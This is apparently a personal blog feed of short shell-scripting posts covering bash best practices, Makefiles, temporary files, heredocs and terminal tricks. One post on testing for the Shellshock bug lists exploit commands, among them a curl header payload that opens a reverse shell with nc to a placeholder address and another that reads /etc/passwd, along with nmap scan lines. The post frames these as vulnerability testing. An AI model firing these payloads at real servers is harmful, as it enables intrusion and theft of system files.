SHELL on Ricky

Advanced Shell Scripting Techniques: Automating Complex Tasks with Bash

Wed, 25 Sep 2024 09:23:00 +0800

Advanced Shell Scripting Techniques: Automating Complex Tasks with Bash

Use Built-in Commands

Built-in commands execute faster because they don’t require loading an external process.

Minimize Subshells

Subshells can be expensive in terms of performance.

# Inefficient
output=$(cat file.txt)

# Efficient
output=$(<file.txt)

Use Arrays for Bulk Data

When handling a large amount of data, arrays can be more efficient and easier to manage than multiple variables.

# Inefficient
item1="apple"
item2="banana"
item3="cherry"

# Efficient
items=("apple" "banana" "cherry")
for item in "${items[@]}"; do
 echo "$item"
done

Enable Noclobber

To prevent accidental overwriting of files.

set -o noclobber

Use Functions

Functions allow you to encapsulate and reuse code, making scripts cleaner and reducing redundancy.

Efficient File Operations

When performing file operations, use efficient techniques to minimize resource usage.

# Inefficient
while read -r line; do
 echo "$line"
done < file.txt

# Efficient
while IFS= read -r line; do
 echo "$line"
done < file.txt

Parallel Processing

Tools like xargs and GNU parallel can be incredibly useful.

Error Handling

Robust error handling is critical for creating reliable and maintainable scripts.

# Exit on Error: Using set -e ensures that your script exits immediately if any command fails, preventing cascading errors.
set -e

# Custom Error Messages: Implement custom error messages to provide more context when something goes wrong.
command1 || { echo "command1 failed"; exit 1; }

# Trap Signals: Use the `trap` command to catch and handle signals and errors gracefully.
trap 'echo "Error occurred"; cleanup; exit 1' ERR

function cleanup() {
 # Cleanup code
}

# Validate Inputs: Always validate user inputs and script arguments to prevent unexpected behavior.
if [[ -z "$1" ]]; then
 echo "Usage: $0 <argument>"
 exit 1
fi

# Logging: Implement logging to keep track of script execution and diagnose issues.
logfile="script.log"
exec > >(tee -i $logfile)
exec 2>&1

echo "Script started"

Automating Complex System Administration Tasks:

Automated Backups
System Monitoring
User Management
Automated Updates
Network Configuration

Makefiles for Web Projects: Manage Your Environment Workflow

Mon, 05 Aug 2024 17:21:24 +0800

Note: Makefile indentation must use tabs, otherwise you’ll get syntax errors.

The Core of a Makefile: Targets

up:
 cp .env.example .env
 docker compose up -d workspace

stop:
 docker compose stop

zsh:
 docker compose exec workspace zsh

This example has three targets: up, stop, and zsh. By default, Make treats the first target as the Goal (it cannot start with a dot), which is the project’s primary workflow. In this case, make and make up do the same thing.
But the copy step above is not a typical Make use case. Make shines at deciding whether each target needs to run. For example, we often store secrets in .env. If .env already exists, we shouldn’t overwrite it by copying .env.example again. In that case, we can make .env a target:

up: .env
 docker compose up -d workspace

.env:
 cp .env.example .env

By default, target names are treated as filenames. The name “make” implies building a target; it will only execute the target’s recipe when the conditions are met (like the file not existing).
- In this example, when you run the up target, if .env doesn’t exist it will run the .env target first to create it, then start the workspace container. If .env already exists, it skips the .env target and starts the container directly.
- Likewise, if there is a file named up in the directory, the up target won’t run. You can define Phony Targets to tell Make that certain targets aren’t filenames, but named workflows instead:

.PHONY: up stop zsh

Add Some Variables

Make supports variables (Variable). Following common Unix environment variable conventions, we usually write them in SCREAMING_SNAKE_CASE. When used, variables are wrapped in $().

Test Whether a Server Is Vulnerable to Shellshock Bug

Mon, 28 Nov 2022 15:35:30 +0800

Test Whether a Server Is Vulnerable to Shellshock Bug

The Shellshock Bug

env x=' () {:;};'

Exploiting Shellshock Bug

A substituted command is executed since the feature ignores the command specified by the user, and instead, it runs that which the ForceCommand defines.
The ignored commands from the user are put in the “SSH_ORIGINAL_COMMAND” environment variable. If the user’s default shell is Bash, the Bash shell will parse the value of the “SSH_ORIGINAL_COMMAND” environment variable on start-up and run the embedded commands.

Examples of Shellshock Exploit Commands

## 1
curl -H "X-Frame-Options: () {:;};echo;/bin/nc -e /bin/bash 192.168.y.y 443" 192.168.x.y/CGI-bin/hello.cgi

## 2
curl --insecure 192.168.x.x -H "User-Agent: () { :; }; /bin/cat /etc/passwd"

use nmap script to test for the vulnerability

nmap -sV -p- --script http-shellshock 192.168.x.x
nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls 192.168.x.x

How to Delete Files With Names That Contain Non-printable Characters

Mon, 14 Nov 2022 13:55:17 +0800

How to Delete Files With Names That Contain Non-printable Characters

ls -l
total 13
-rw-r--r-- 1 ZZ 197121 4 Nov 6 07:08 ' '
-rw-r--r-- 1 ZZ 197121 162 Apr 16 2022 '~$iscord.docx'
-rw-r--r-- 1 ZZ 197121 6 Nov 6 06:03 ''$'\302\226'
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:01 ''$'\302\226''Λ---ω'
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:13 '␴?␴??␴??::␴?␴'
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:12 ␴__␴
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:14 ␴␴␴␴␴␴␴␴␴␴␴␴␴␴␴␴␴
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:18 '␴ω␴␴␣␦'$'\342\220\264'
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:16 ␣␣␣␣␣␣␣␣
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:26 ␣ μ μ Ω Ω
-rw-r--r-- 1 ZZ 197121 14 Nov 6 06:23 '␣ μ ␴'$'\342\220\264''Ξ'
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:27
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:27

Using ANSI-C Quoting

# Using ANSI-C Quoting
rm ''$'\302\226'
# We can also use the $ special character before enclosing the filename in single quotes
rm $'\356\200\215'

# pass an item's name to rm without using the ANSI-C quoting
rm '\026\033'
rm: cannot remove '\026\033': No such file or directory

Using Inode Numbers

ls -li
total 11
...
6517085 -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:18 '␴ω␴␴␣␦'$'\342\220\264'
7826050 -rw-r--r-- 1 ZZ 197121 3 Nov 9 04:23 ''$'\356\200\215\356\200\215\356\200\215'
4685554 -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:27

we can delete the desired file by passing its inode number to the -inum switch of the find command

/etc/shadow and Creating yescrypt, MD5, SHA-256, and SHA-512 Password Hashes

Mon, 14 Nov 2022 12:55:39 +0800

/etc/shadow and Creating yescrypt, MD5, SHA-256, and SHA-512 Password Hashes

chage and Password Aging

chage --list root
Last password change : Oct 01, 2022
Password expires : never
Password inactive : never
Account expires : never
Minimum number of days between password change : 0
Maximum number of days between password change : 99999
Number of days of warning before password expires : 7

Consequently, we can change any field via its associated flag:

How to Use which on an Aliased Command

Thu, 10 Nov 2022 16:24:30 +0800

How to Use which on an Aliased Command

type

type grep
grep is an alias for grep --color=auto


# Bash's type
type -P grep
/usr/bin/grep

# Zsh's type
type -p grep
grep is /usr/bin/grep

GNU which

which -a which
which: shell built-in command
/usr/bin/which


alias top10
top10='print -l ${(o)history%% *} | uniq -c | sort -nr | head -n 10'

alias | /usr/bin/which -i top10
top10='print -l ${(o)history%% *} | uniq -c | sort -nr | head -n 10'
 /usr/bin/uniq
 /usr/bin/sort
 /usr/bin/head

Shell Script Best Practices

Thu, 03 Nov 2022 16:51:11 +0800

Shell Script Best Practices

Things

Just make the first line be #!/usr/bin/env bash.
Use the .sh (or .bash) extension for your file.
Use set -o errexit at the start of your script.
Prefer to use set -o nounset.
1. use "${VARNAME-}" instead of "$VARNAME"
Use set -o pipefail.
Use set -o xtrace, with a check on $TRACE env variable.
1. if [[ "${TRACE-0}" == "1" ]]; then set -o xtrace; fi
2. People can now enable debug mode, by running your script as TRACE=1 ./script.sh instead of ./script.sh.
Use [[ ]] for conditions in if / while statements, instead of [ ] or test.
Always quote variable accesses with double-quotes.
Use local variables in functions.
When printing error messages, please redirect to stderr.
1. Use echo 'Something unexpected happened' >&2 for this.
Use long options, where possible (like --silent instead of -s).
If appropriate, change to the script’s directory close to the start of the script.
1. Use cd “$(dirname “$0”)”, which works in most cases.
Use shellcheck. Heed its warnings.

Template

#!/usr/bin/env bash

set -o errexit
set -o nounset
set -o pipefail
if [[ "${TRACE-0}" == "1" ]]; then
 set -o xtrace
fi

if [[ "${1-}" =~ ^-*h(elp)?$ ]]; then
 echo 'Usage: ./script.sh arg-one arg-two

This is an awesome bash script to make your life better.

'
 exit
fi

cd "$(dirname "$0")"

main() {
 echo do awesome stuff
}

main "$@"

The Art of Command Line

Wed, 02 Nov 2022 15:04:37 +0800

The Art of Command Line

Printing ASCII Art in the Shell

Fri, 21 Oct 2022 17:30:41 +0800

Printing ASCII Art in the Shell

sudo apt install sysvbanner

$ banner hello

 # # ###### # # ####
 # # # # # # #
 ###### ##### # # # #
 # # # # # # #
 # # # # # # #
 # # ###### ###### ###### ####

FIGlet: Frank, Ian, and Glenn’s Letters

sudo apt install figlet

$ figlet hello
 _ _ _
| |__ ___| | | ___
| '_ \ / _ \ | |/ _ \
| | | | __/ | | (_) |
|_| |_|\___|_|_|\___/

-f option and specify a font name for the output
-l, -c, and -r options to align the text to the left, center, or right,

TOIlet: FIGlet With More Options

sudo apt install toilet

How to Make Output Overwrite the Same Line in a Terminal

Fri, 21 Oct 2022 17:29:10 +0800

How to Make Output Overwrite the Same Line in a Terminal

Introduction to the Problem

$ cat print_status.sh
!/bin/bash
echo "[INFO] Processing file: readme.txt"
sleep 2 To simulate the file processing

echo "[INFO] Processing file: veryPowerfulService.service"
sleep 2

echo "[INFO] Processing file: log.txt"
echo "DONE"


$ ./print_status.sh
[INFO] Processing file: readme.txt
[INFO] Processing file: veryPowerfulService.service
[INFO] Processing file: log.txt
DONE

The “Magic Code”: `\033[0K\r`

-n option asks the echo command to stop outputting the trailing newline character
-e option allows the echo command to interpret backslash escapes such as \n (newline) and \r (carriage return)
\033 - It’s the escape sequence. In other words, it’s ESC.
\033[ - Then this becomes “ESC [”, which is the control sequence introducer (CSI).
\033[0k - So it’s “CSI 0 K”. Further, “CSI 0 K” erases the text from the cursor to the end of the line.
\r - This is the carriage return. It brings the cursor to the beginning of the line.

$ cat print_status.sh
#!/bin/bash
echo -ne "[INFO] Processing file: readme.txt\033[0K\r"
sleep 2

echo -ne "[INFO] Processing file: veryPowerfulService.service\033[0K\r"
sleep 2

echo -e "[INFO] Processing file: log.txt\033[0K\r"
echo "DONE"

!/bin/bash
printf "[INFO] Processing file: readme.txt\033[0K\r"
sleep 2

printf "[INFO] Processing file: veryPowerfulService.service\033[0K\r"
sleep 2

printf "[INFO] Processing file: log.txt\033[0K\r\n"
echo "DONE"

Zsh tab-completion not working

Fri, 10 Dec 2021 17:44:49 +0800

Zsh tab-completion not working

Question

Although I’ve used Oh-My-Zsh in the past, I decided this time around (i.e. setting up a new computer) I’d try to avoid installing it to keep things a bit leaner. Right now I’m trying to cherry-pick Oh-My-Zsh’s insensitive tab-completion feature. Digging around its source repo, I found the following line: zstyle ':completion:*' matcher-list 'm:{a-zA-Z}={A-Za-z}' 'r:|=*' 'l:|=* r:|=*'

I’m fairly confident this is the line Oh-My-Zsh executes to do what I want, so I tried adding it to my .zshrc. Restarted my terminal. Typed cd desk, then hit [tab]. No dice – I didn’t get cd Desktop/.

Best Practices for Writing Bash Scripts

Mon, 06 Dec 2021 11:11:54 +0800

#!/usr/bin/env bash
# Bash3 Boilerplate. Copyright (c) 2014, kvz.io
set -o errexit
set -o pipefail
set -o nounset
# set -o xtrace

# Set magic variables for current file & dir
__dir="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
__file="${__dir}/$(basename "${BASH_SOURCE[0]}")"
__base="$(basename ${__file} .sh)"
__root="$(cd "$(dirname "${__dir}")" && pwd)" # <-- change this as it depends on your app

arg1="${1:-}"

Use shift to read function arguments

This makes it easier to reorder arguments, if you change your mind later.

Common shell scripting tips

Wed, 22 Sep 2021 13:01:11 +0800

How to use a here documents to write data to a file in bash script

Fri, 07 May 2021 11:37:35 +0800

How to use a here documents to write data to a file in bash script

allow here-documents within shell scripts to be indented in a natural fashion using `EOF<<-`

command <<-EOF
 msg1
 msg2
 $var on line
EOF

Disabling pathname/parameter/variable expansion, command substitution, arithmetic expansion with `'EOF'`

#!/bin/bash
OUT=/tmp/output.txt

echo "Starting my script..."
echo "Doing something..."
# No parameter and variable expansion, command substitution, arithmetic expansion, or pathname expansion is performed on word.
# If any part of word is quoted, the delimiter is the result of quote removal on word, and the lines in the here-document
# are not expanded. So EOF is quoted as follows
cat <<'EOF' >$OUT
 Status of backup as on $(date)
 Backing up files $HOME and /etc/
EOF

echo "Starting backup using rsync..."

How to Create Temporary Files in Bash: mktemp and trap

Mon, 30 Dec 2019 14:31:45 +0800

How to Create Temporary Files in Bash: mktemp and trap

`mktemp` command

The generated temp file name is random and readable/writable only by the user.
To ensure creation succeeds, append OR (||) after mktemp to exit on failure.
To delete temp files on script exit, use trap to register cleanup.

#!/bin/bash

trap 'rm -f "$TMPFILE"' EXIT

TMPFILE=$(mktemp) || exit 1
echo "Our temp file is $TMPFILE"

mktemp options

-d creates a temporary directory.
-p specifies the directory for temp files. Default is $TMPDIR. If not set, /tmp is used.
-t specifies a filename template. The template must end with at least three consecutive X characters for randomness; six X are recommended. The default template is tmp. followed by ten random characters.

`trap` usage

The trap command handles system signals in Bash scripts.

Shell Script Study Notes

Wed, 07 Aug 2019 15:14:08 +0800

Shell Script Study Notes

Arithmetic operations

val=`expr $a + $b`

Operators

Symbol	Description	Example
!	NOT	[ ! false ]
-o	OR	[ $a -lt 20 -o $b -gt 20 ]
-a	AND	[ $a -lt 20 -a $b -gt 20 ]
=	equality check	[ $a = $b ]
!=	inequality check	[ $a != $b ]
-z	string length is 0, returns true if 0	[ -z $a ]
-n	string length is not 0, returns true if not 0	[ -n $a ]
str	check whether string is empty, true if not	[ $a ]
-b	check whether file is a block device	[ -b $file ]
-c	check whether file is a character device	..
-d	check whether file is a directory	[ -d $file ]
-f	check whether file is a regular file	[ -f $file ]
-r	check whether file is readable	..
-w	check whether file is writable	..
-x	check whether file is executable	..
-s	check whether file is empty	..
-e	check whether file exists	..

Special variables

Variable	Meaning
$0	file name of the current script
$n	arguments passed to a script or function; n is the position
$#	number of arguments passed to a script or function
$*	all arguments as a single word, e.g., “1 2 3”
$@	all arguments as separate words, e.g., “1” “2” “3”
$?	exit status of the last command or return value of a function
$$	current shell process ID; for scripts, the PID of the script process

POSIX program exit statuses

Code	Meaning
0	command exited successfully
> 0	failure during redirection or word expansion (~, variables, commands, arithmetic, and word splitting)
1 - 125	command exited unsuccessfully; specific meanings are command-defined
126	command found but file is not executable
127	command not found
> 128	command died from a signal

Input/output redirection

Command	Description
command > file	redirect output to file
command > file	redirect output to file by appending
n > file	redirect file descriptor n to file
n » file	redirect file descriptor n to file by appending
n >& m	merge output file m and n
n <& m	merge input file m and n
« tag	use content between start tag and end tag as input

File include

Use . or source to include files.

What does `< <(command args)` mean in the shell?

Sat, 17 Nov 2018 22:29:23 +0800

What does < <(command args) mean in the shell?

 while IFS= read -r -d $'\0' file; do
 dosomethingwith "$file" # do something with each file
 done < <(find /bar -name *foo* -print0)

<() is called process substitution in the manual, and is similar to a pipe but passes an argument of the form /dev/fd/63 instead of using stdin.

< reads the input from a file named on command line.

Together, these two operators function exactly like a pipe, so it could be rewritten as